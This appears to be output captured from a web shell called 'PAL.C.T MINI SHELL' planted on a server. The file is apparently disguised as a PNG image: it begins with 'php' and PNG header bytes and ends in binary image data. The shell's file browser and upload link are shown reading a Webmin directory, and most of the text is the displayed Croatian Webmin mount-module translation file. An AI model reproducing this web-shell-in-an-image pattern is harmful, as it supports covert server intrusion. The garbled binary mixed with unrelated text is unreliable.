php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/mount/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/mount/lang/hr.auto

index_title=Diskovni i mrežni datotečni sustavi
index_dir=Montira se kao
index_type=Tip
index_dev=Mjesto
index_used=koristi
index_use=U uporabi?
index_perm=Spremljeno?
index_add=Dodajte nosač
index_auto=Nepoznati tip
index_swap=Virtualna memorija
index_return=popis datoteka
index_none=Nemate pristup nijednom montiranom datotečnom sustavu.
index_mount2=Montirajte lozinkom:
index_root=Korijenski datotečni sustav

edit_title=Uredi Mount
create_title=Stvorite Mount
edit_err=Nije uspjelo uređivanje montiranja
edit_egone=Ova montaža više ne postoji
edit_header=$1 Pojedinosti o montiranju
edit_dir=Montira se kao
edit_usage=Upotreba diska
edit_swap=Virtualna memorija
edit_size=Veličina
edit_free=Besplatno
edit_savemount=Spremi gori?
edit_boot=Spremite i montirajte pri pokretanju
edit_save=Uštedjeti
edit_delete=Izbrisati
edit_dont=Ne štedite
edit_now=Mount sada?
edit_mount=montiranje
edit_dont2=Ne montiraj
edit_unmount=isključivanje
edit_order=Provjerite datotečni sustav pri pokretanju?
edit_first=Prvo provjerite
edit_second=Provjerite sekundu
edit_adv=Opcije montiranja
edit_comm_opt=Uobičajene opcije montiranja
edit_ext_opt=specifične opcije ext2 / ext3
edit_nfs_opt=Opcije za NFS
edit_nfs_opt4=NFSv4 specifične opcije
edit_dos_opt=Opcije datotečnih sustava temeljenih na DOS-u
edit_hpfs_opt=specifične opcije za hpfs
edit_iso9660_opt=Specifične opcije za ISO9660
edit_autofs_opt=mogućnosti određene autofs
edit_smbfs_opt=Opcije CIFS datotečnih sustava
edit_reiserfs_opt=Specifične opcije za Reiserfs
edit_tmpfs_opt=specifične opcije za tmpfs
edit_xfs_opt=xfs posebne opcije
edit_ntfs_opt=ntfs specifične opcije
edit_list=Popis korisnika
edit_create=Spremi i montira
edit_save_apply=Spremite i primijenite
edit_umount=isključivanje
edit_perm=Napravite trajno
edit_del_umount=Pomisli i izbriši
edit_ecannot=Nije vam dopušteno uređivanje ovog datotečnog sustava
edit_ecannot2=Nije vam dopušteno dodavanje novih datotečnih sustava
edit_3_or_lower=3 (ili niži)
edit_advanced=Napredni način rada

save_err=Spremanje montiranja nije uspjelo
save_edir='$1' nije mapa
save_edirname='$1' nije valjano ime direktorija
save_ealready='$1' je već montirano
save_ealready2=Već je dodijeljen '$1' za ugradnju
save_ealready3=Mapa "$1" je već montirana
save_ealready4=Imenik '$1' već je dodijeljen za ugradnju
save_emkdir=Nije uspjelo stvaranje direktorija $1 : $2 
save_eumount=Poništivanje nije uspjelo : $1
save_emount=Mount nije uspio : $1
save_perm=Izmjene montiranja na $1 nije se mogle primijeniti jer se montiranje trenutno koristi. Da biste unijeli izmjene samo na popis stalnih montiranja, kliknite gumb ispod.
save_force=Montiranje na $1 nije bilo moguće ukloniti jer se montiranje trenutno koristi. Za pokušaj prisilnog uklanjanja pritisnite gumb ispod
save_apply=Prijavite se na trajni popis
save_fapply=Sila Un-Mount
save_eremount=Izračun nije uspio : $1
save_enone=Niste odlučili spremiti ili montirati

swap_err=Izrada swap datoteke nije uspjela
swap_esize='$1' nije važeća veličina

nfs_server=Odaberite NFS poslužitelj ..
nfs_select=Odaberite NFS poslužitelj za instaliranje s ..
nfs_ip=IP adresa
nfs_host=Ime računala
nfs_none=Nisu pronađeni lokalni NFS poslužitelji
nfs_choose=Odaberite NFS Directory na $1
nfs_failed=Nije uspjelo dohvatiti NFS izvoz iz $1:$2 Možda nema pokrenut NFS poslužitelj
nfs_seldir=Odaberite NFS imenik za ugradnju ..
nfs_seldirv4=Za nosač NFSv4 trebali biste odabrati '/'
nfs_dir=Imenik
nfs_clients=klijenti

smb_choose=Odaberite Poslužitelj CIFS ..
smb_elist=Nije uspjelo dohvatiti popis poslužitelja iz $1. Možda poslužitelj ne dopušta pregledavanje
smb_eworkgroup=Na stranici Konfiguriranje modula nije postavljena radna skupina
smb_emaster=Nije pronađen nijedan master pregledavanja za radnu skupinu $1
smb_ehost=Poslužitelj $1 ne postoji
smb_edown=Poslužitelj $1 je dolje, nedostupan ili nije datotečni poslužitelj
smb_sel=Odaberite poslužitelj Windows Networking s kojeg želite montirati ..
smb_name=Naziv poslužitelja
smb_desc=Opis
smb_none=Nisu pronađeni lokalni poslužitelji Windows umrežavanja
smb_choose2=Odaberite Dijeli na $1
smb_elist2=Nije bilo moguće preuzeti popis dijeljenja iz $1. Možda poslužitelj ne dopušta pregledavanje
smb_sel2=Odaberite udio za montiranje ..
smb_share=Udio
smb_comment=Komentar
smb_noshares=Na poslužitelju nema dostupnih dijeljenja datoteka $1

solaris_scsidev=SCSI kontroler $1 target $2 jedinica $3 particija $4
solaris_idedev=IDE kontroler $1 pogon $2 particija $3
solaris_mddev=RAID uređaj $1
solaris_ecacheexists=Direktorija $1 već postoji. Obriši.
solaris_ebusy=$1 je zauzet
solaris_ekill=Nije uspio ubiti rumbu
solaris_epid=Nije pronađeno rumba pid
solaris_nsource=Izvor NFS-a
solaris_nhost=NFS ime domaćina
solaris_ndir=NFS imenik
solaris_nmult=Višestruki NFS poslužitelji
solaris_webnfs=URL WebNFS
solaris_ufs=UFS disk
solaris_scsi=SCSI / IDE disk
solaris_ctrlr=kontrolor
solaris_target=Cilj
solaris_unit=Jedinica
solaris_part=pregrada
solaris_raid=RAID uređaj
solaris_otherdev=Ostali uređaji
solaris_swapfile=Zamijeni datoteku
solaris_file=Datoteka
solaris_cdrom=CD ROM
solaris_dvd=DVD
solaris_msdos=MS-DOS disk
solaris_orig=Izvorni imenik
solaris_cache=Izvor predmemorije
solaris_automap=Karta Automounter
solaris_autohosts=Sav izvoz NFS-a
solaris_autoxfn=Savezna služba imenovanja
solaris_server=Naziv poslužitelja
solaris_share=Naziv dijeljenja
solaris_lvm=LVM uređaj
solaris_vg=Volumen grupa
solaris_lv=Logički volumen
solaris_vxfs=VXFS uređaj
solaris_hfs=HFS uređaj
solaris_ro=Samo za čitanje?
solaris_nosuid=Želite li onemogućiti setuid programe?
solaris_grpid=Datoteke nasljeđuju nadređeni GID?
solaris_soft=Povratak pogreške pri istekanju vremena?
solaris_bg=Želite li pokušati ponovo instalirati u pozadini?
solaris_quota=Prikazati kvote?
solaris_nointr=Dozvoliti prekidu korisnika?
solaris_nfsver=NFS verzija
solaris_highest=Najviši
solaris_proto=Protokol
solaris_port=NFS port
solaris_timeo=Pauza
solaris_retrans=Broj povratka
solaris_auth=Ovjera
solaris_none=nijedan
solaris_des=DES
solaris_krb=Kerberos
solaris_public=WebNFS mount?
solaris_quotab=Želite li omogućiti kvote pri pokretanju?
solaris_onerror=Radnja na pogrešci
solaris_toosoon=Kašnjenje popravka
solaris_time_s=sekunde
solaris_time_m=minuta
solaris_time_h=Sati
solaris_time_d=dana
solaris_time_w=Tjedni
solaris_time_y=Godine
solaris_noatime=Ažuriranje vremena pristupa?
solaris_immed=Odmah
solaris_defer=Odgođena
solaris_force=Sila izravno IO?
solaris_nolarge=Dopuštate velike datoteke?
solaris_logging=Omogućeno je prijava?
solaris_nrr=Zanemariti atribute Unix?
solaris_notraildot=Zanemariti zaostalu točku?
solaris_nomaplcase=Koristite mala slova?
solaris_foldcase=Prisiliti mala slova?
solaris_noopts=Nisu dostupne mogućnosti
solaris_size=Veličina
solaris_largebsize=Koristite veliku veličinu bloka stranica?
solaris_max=Maksimum
solaris_backfs=Stvarni tip datotečnog sustava
solaris_backpath=Stvarno mjesto ugradnje
solaris_cachedir=Cache direktorij
solaris_wmode=Način pisanja
solaris_con=Provjera dosljednosti
solaris_period=Povremeno
solaris_never=Nikada
solaris_demand=Na zahtjev
solaris_waround=Pisanje-oko
solaris_nshared=Non-zajednička
solaris_local=Provjerite dopuštenja u predmemoriji?
solaris_nobrowse=Omogućeno pregledavanje?
solaris_auto=Automatski
solaris_mname=Naziv hosta poslužitelja
solaris_cname=ime klijenta
solaris_username=Korisničko ime
solaris_password=Lozinka
solaris_uid=Korisničke datoteke u vlasništvu su
solaris_gid=Datoteke grupe u vlasništvu su
solaris_fmode=Dozvole datoteka
solaris_dmode=Dozvole direktorija
solaris_readwrite=Pristup čitanju / pisanju je siguran?
solaris_readonly=Datoteke je moguće čitati samo?
solaris_noupper=Slanje lozinke u velikom slučaju?
solaris_attr=Koristite attrE naredbe?
solaris_eurl="$1" nije važeći NFS URL
solaris_ehost='$1' nije valjano ime računala
solaris_ehost2=Domaćin '$1' ne postoji
solaris_edown=Domaćin '$1' je smanjen ili ne podržava NFS
solaris_enfs=Domaćin '$1' ne podržava NFS
solaris_enfsdir='$1' nije valjano ime direktorija. Dostupne mape na $2 su : $3
solaris_enfsperm=Ovaj domaćin ne smije montirati direktorij $1 na $2
solaris_enfsmount=NFS pogreška - $1
solaris_ectrlr="$1" nije važeći SCSI kontroler
solaris_etarget='$1' nije važeći SCSI ciljni broj
solaris_eunit='$1' nije važeći broj SCSI jedinice
solaris_epart='$1' nije važeći SCSI broj particije
solaris_eraid='$1' nije važeći broj RAID jedinice
solaris_epath='$1' nije valjano ime puta
solaris_eexist='$1' ne postoji
solaris_edir='$1' nije mapa
solaris_eswapfile=Zamjenska datoteka "$1" ne postoji
solaris_eopen=Otvaranje $1 nije uspjelo : $2
solaris_ebackfs=Stražnji datotečni sustav '$1' nije montiran
solaris_ebacktype=Stražnji datotečni sustav je '$1' nije $2
solaris_ecsrc='$1' nije valjan izvor predmemorije
solaris_eautomap=Nedostaje naziv karte automatski
solaris_eautofile=Datoteka karte "$1" ne postoji
solaris_etarget2=SCSI cilj za '$1' ne postoji
solaris_epart2=SCSI particija za '$1' ne postoji
solaris_eraid2=Uređaj RAID za '$1' ne postoji
solaris_enopart=Nema particija na '$1'
solaris_edevfile=Datoteka uređaja "$1" ne postoji
solaris_edevice=Uređaj za '$1' ne postoji
solaris_efstyp=Uređaj "$1" oblikovan je kao $2
solaris_efstyp2=Provjera vrste datotečnog sustava : $1
solaris_ecachedir='$1' nije važeća mapa predmemorije
solaris_efmode="$1" nije važeći oktalni način datoteke
solaris_edmode='$1' nije važeći oktalni način direktorija

linux_eamd=AMD nije uspio
linux_eauto=Automatski broj nije uspio : $1
linux_esmbconn=Nije uspjelo povezivanje s poslužiteljem
linux_ekillamd=Nije uspio ubiti AMD
linux_ekillauto=Neuspjeh ubijanja automata
linux_nfshost=NFS ime domaćina
linux_nfsdir=NFS imenik
linux_map=Karta automountera
linux_swapfile=Zamijeni datoteku
linux_disk=Disk
linux_smbserver=Naziv poslužitelja
linux_smbshare=Naziv dijeljenja
linux_raid=RAID uređaj
linux_rdev=RAID uređaj $1
linux_lvm=LVM logički volumen
linux_ldev=LVM VG $1, LV $2
linux_cddev=CD-ROM pogon
linux_cddev2=CD-ROM pogon $1
linux_burnerdev=Pogon CD snimača
linux_label=Particija s oznakom $1
linux_uuid=Particija s ID $1
linux_lsel=Particija označena
linux_usel=Particija s ID-om
linux_other=Drugi uređaj
linux_ro=Samo za čitanje?
linux_sync=Buffer piše u datotečni sustav?
linux_nodev=Želite li onemogućiti datoteke uređaja?
linux_noexec=Želite li onemogućiti izvršavanje binarnih datoteka?
linux_nosuid=Želite li onemogućiti setuid programe?
linux_ifuser=Ako ih mogu montirati korisnici
linux_user=Želite li dopustiti korisnicima da montiraju ovaj datotečni sustav?
linux_check=Provjerite način rada
linux_normal=normalan
linux_strict=Strog
linux_none=nijedan
linux_errors=Radnja na pogrešci
linux_continue=Nastaviti
linux_remount_ro=Ponovite samo za čitanje
linux_panic=Panika
linux_grpid=Datoteke nasljeđuju GID nadređenog direktorija?
linux_quotas=Koristite kvote?
linux_usrquota=Samo korisnik
linux_grpquota=Samo grupa
linux_usrgrpquota=Korisnik i grupa
linux_usrgrpquota2=Korisnik i grupa (UNSTABLE!)
linux_quotaj=Vrsta skladištenja kvota
linux_quotaj1=journalling
linux_quotaj0=redovan
linux_resuid=Rezervirajte prostor za korisnika
linux_resgid=Rezervirajte prostor za grupu
linux_bg=Želite li pokušati ponovo instalirati u pozadini?
linux_soft=Povratak pogreške pri istekanju vremena?
linux_timeo=Pauza
linux_etimeo=Istek mora biti broj
linux_retrans=Broj povratka
linux_vers=NFS verzija
linux_high=Najviši
linux_port=NFS port
linux_intr=Dozvoliti prekidu korisnika?
linux_tcp=RPC protokol
linux_uid=Korisničke datoteke u vlasništvu su
linux_gid=Datoteke grupe u vlasništvu su
linux_rules=Pravila imenovanja datoteka
linux_relaxed=Opušten
linux_conv=DOS-Unix pretvorba u novi redak
linux_allfiles=Sve datoteke
linux_textfiles=Tekstovne datoteke
linux_umask=Maska dozvola za datoteke
linux_quiet=Prijavite pogreške o <tt>chown</tt> pokušajima?
linux_uni_xlate=Prevesti znakove Unicode?
linux_posix=Dopustite imena koja se razlikuju samo u slučaju?
linux_conv2=OS / 2-Unix pretvorba newlinea
linux_rock=Zanemariti atribute Unix?
linux_mode=Dozvole datoteka za CD-ove koji nisu Unix
linux_noopts=Nisu dostupne mogućnosti
linux_timeout=Vrijeme mirovanja prije demontiranja
linux_pid_file=Pišite PID datoteci
linux_secs=sekundi
linux_smbwarn=Upozorenje! Datotečni sustav nije montiran s Webmina, pa postojeće opcije nisu dostupne
linux_username=Korisničko ime
linux_password=Lozinka
linux_credentials=Datoteka vjerodajnica
linux_sname=Naziv poslužitelja
linux_wg=Radna grupa
linux_auto=Automatski
linux_cname=ime klijenta
linux_mname=Adresa poslužitelja
linux_fmode=Dozvole datoteka
linux_dmode=Dozvole direktorija
linux_notail=Zamjenite prostor za brzinu?
linux_tmpsize=Maksimalna veličina datotečnog sustava
linux_unlimited=Neograničen
linux_nr_blocks=Maksimalni broj blokova na raspolaganju
linux_nr_inodes=Maksimalni dostupni unosi
linux_tmpmode=Dozvole točke montiranja
linux_ehost='$1' nije valjano ime računala
linux_ehost2=Domaćin '$1' ne postoji
linux_edown=Domaćin '$1' je isključen
linux_enfs=Domaćin '$1' ne podržava NFS
linux_elist=Nije moguće dobiti popis za montiranje : $1
linux_enfsdir='$1' nije valjano ime direktorija. Dostupne mape na $2 su : $3
linux_enfsperm=Ovaj domaćin ne smije montirati direktorij $1 na $2
linux_enfsmount=NFS pogreška - $1
linux_eautomap=Datoteka automatske karte '$1' ne postoji
linux_edev=Uređen nijedan uređaj
linux_edevfile=Datoteka uređaja "$1" ne postoji
linux_emask="$1" nije valjana oktalna maska
linux_etimeout="$1" nije valjano isteklo vrijeme
linux_epidfile="$1" nije važeća pid datoteka
linux_efmode="$1" nije važeći oktalni način datoteke
linux_edmode='$1' nije važeći oktalni način direktorija
linux_etmpsize=Nedostaje ili neispravna maksimalna veličina
linux_enr_blocks=Nedostaje ili nevažeći broj blokova
linux_enr_inodes=Nedostaje ili nevažeći broj čvorova
linux_etmpmode=Nedostaju ili su nevaljana oktalna dopuštenja
linux_usrquotas=Želite li omogućiti korisničke kvote?
linux_grpquotas=Želite li omogućiti kvote grupa?
linux_noenforce=Da, ali nemojte se provoditi
linux_df=Jeste li u veličinu datotečnog sustava uključili rezervirane blokove?
linux_noatime=Izbjegavati ažuriranje posljednjeg vremena pristupa?
linux_netdev=Pričekajte dok se mrežna sučelja ne urade?
linux_nofail=Nastaviti pokretanje čak i ako montiranje ne uspije?
linux_ecname=Nedostaje ili nevažeće ime klijenta netbios
linux_emname=Nedostaje ili nevažeće ime ili IP adresa poslužitelja
linux_bind=Izvorni imenik
linux_ebind=Nedostaje ili ne postoji izvorni direktorij
linux_eserver=Nedostaje naziv poslužitelja
linux_eshare=Nedostaje naziv dijeljenja
linux_rsize=Pročitajte veličinu međuspremnika
linux_wsize=Napišite veličinu međuspremnika
linux_auth=Način provjere autentičnosti
linux_sec=Razina sigurnosti
linux_integrity=Integritet
linux_privacy=Privatnost (uključujući integritet)
linux_nfsvers=Prisilite na NFS verziju
linux_nfsdefault=Koristite zadanu verziju
linux_transfert=RPC / protokol prijenosa
linux_swappri=Prioritet virtualne memorije
linux_eswappri=Nedostaje ili je nevažeći prioritet numeričke virtualne memorije
linux_codepage=Stranica kodova
linux_iocharset=IO set znakova
linux_ecodepage=Nedostaje ili nevažeća kodna stranica
linux_eiocharset=Nedostaje ili nije važeći IO set znakova
linux_nounix=Onemogućiti CIFS Unix proširenja?
linux_noserverino=Stvaranje inode brojeva na strani klijenta?
linux_cvers=CIFS verzija
linux_ecvers=CIFS verzija mora biti broj

log_mount=Montiran $3
log_mount_l=Montiran $2 $1 na $3
log_umount=Neračunato $3
log_umount_l=Demontirano $2 $1 na $3
log_remount=Preračunato $3
log_remount_l=Preračunato $2 $1 na $3
log_create=Izrađen je mount $3
log_create_l=Napravljeno $2 mount $1 na $3
log_modify=Izmijenjeno montiranje $3
log_modify_l=Izmijenjeno $2 mount $1 na $3
log_delete=Izbrisan je mount $3
log_delete_l=Izbrisano je $2 mount $1 na $3
log_swap=Napravljena je swap datoteka $1

unmount_err=Deaktiviranje $1 nije uspjelo

mount_err=Ne može se montirati $1
irix_nhost=NFS ime domaćina
irix_ndir=NFS imenik
irix_part=Lokalna particija
irix_mode0=SCSI kontroler $1 target $2 particija $3
irix_mode1=Drugi uređaj ili datoteka
irix_ro=Samo za čitanje?
irix_nosuid=Želite li onemogućiti setuid programe?
irix_grpid=Datoteke nasljeđuju nadređeni GID?
irix_nodev=Želite li onemogućiti datoteke uređaja?
irix_bg=Želite li pokušati ponovo instalirati u pozadini?
irix_soft=Povratak pogreške pri istekanju vremena?
irix_nointr=Dozvoliti prekidu korisnika?
irix_version=NFS verzija
irix_proto=NFS protokol
irix_port=NFS port
irix_timeo=Pauza
irix_retrans=Broj povratka
irix_noopts=Nisu dostupne mogućnosti
irix_quota=Želite li omogućiti kvote?
irix_noatime=Ažuriranje vremena pristupa?
irix_wsync=Sve su izmjene sinkroni?
irix_quotano=Da, ali nemojte se provoditi
irix_cd=Lokalni CD-ROM
irix_mode0cd=SCSI kontroler $1 target $2
irix_setx=Želite li sve datoteke izvršiti?
irix_rock=Koristite proširenja Rock Ridgea?
irix_nofsck=Provjerite datotečni sustav pri pokretanju?
irix_auto=Izvor automatskog pokretanja
irix_automap=Datoteka karte

irix_ehost=Domaćin '$1' ne postoji
irix_eloss=Domaćin '$1' je isključen
irix_eshowmount=Domaćin '$1' ne podržava NFS
irix_emountlist=Nije moguće dobiti popis za montiranje : $1
irix_edirlist='$1' nije valjano ime direktorija. Dostupni direktoriji na "$2" su : $3
irix_enotexist=Direktorija '$1' ne postoji na host '$2' Dostupni direktoriji su : $3
irix_epermission=Ovaj domaćin ne smije montirati direktorij '$1' iz host '$2'
irix_enfserr=NFS pogreška : $1
irix_ectrlr="$1" nije važeći SCSI kontroler
irix_edrive="$1" nije važeći SCSI pogon
irix_epart='$1' nije važeći broj particije
irix_edevice=Diskovni uređaj '$1' ne postoji
irix_eswapfile=Zamjenski uređaj '$1' ne postoji
irix_efstyp2=Nije uspjelo nabaviti datotečni sustav $1 : $2 
irix_efstyp=Vrsta datotečnog sustava na $1 je $2, a ne $3
irix_eautomap=Datoteka mape Automounter '$1' ne postoji
irix_eauthmap2=Nedostaje ili nije važeća datoteka s mapom automountera

irix_devroot=Korijenska particija
irix_devswap=Zamijenite particiju
irix_autohosts=Sav izvoz NFS-a

acl_only=Dopuštate samo montažu i demontažu?
acl_fs=Filesystems koji se mogu uređivati
acl_types=Vrste datoteka mogu se koristiti
acl_all=svi
acl_list=Pod navedenim imenicima
acl_create=Mogu li dodati nove datotečne sustave?
acl_fslist=Navedena imena vrsta
acl_user=Mogu li uređivati samo vlastite datotečne sustave?
acl_hide=Sakriti datoteke koje ne mogu uređivati?
acl_simple=Pokažite jednostavan oblik montiranja?
acl_simopts=Pokažite pojednostavljene opcije datotečnog sustava?
acl_browse=Prikaži datoteke i dijelite gumbe za pregledavanje?

egcc=GCC ili CC kompajler potreban za izgradnju programa za uvrštavanje montiranih datotečnih sustava na vašem sustavu nije dostupan.
ecompile=Došlo je do pogreške prilikom izrade programa za uvrštavanje montiranih datotečnih sustava na vašem sustavu : $1

freebsd_eaddr=Nedostaje ili nije važeća adresa poslužitelja
freebsd_eworkgroup=Nedostaje ili nije važeća radna skupina
freebsd_ide=IDE tvrdi disk
freebsd_device=Uređaj
freebsd_slice=Kriška
freebsd_part=pregrada
freebsd_scsi=SCSI disk
freebsd_other=Drugi uređaj
freebsd_select=Particija diska
freebsd_idedev=IDE uređaj $1, slice $2, particija $3
freebsd_scsidev=SCSI uređaj $1, slice $2, particija $3
freebsd_edevpath=Drugi uređaj mora biti apsolutna putanja, poput <tt>/dev/cdrom</tt>
freebsd_edevfile=Datoteka uređaja "$1" ne postoji

cswap_file=Zamjenska datoteka $1 ne postoji.
cswap_size=Stvorite i montirajte swap datoteku s veličinom

acl_sysinfo=Prikaži dostupne podatke s diska na nadzornoj ploči?
sysinfo_total=ukupno
sysinfo_dev=ID uređaja
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`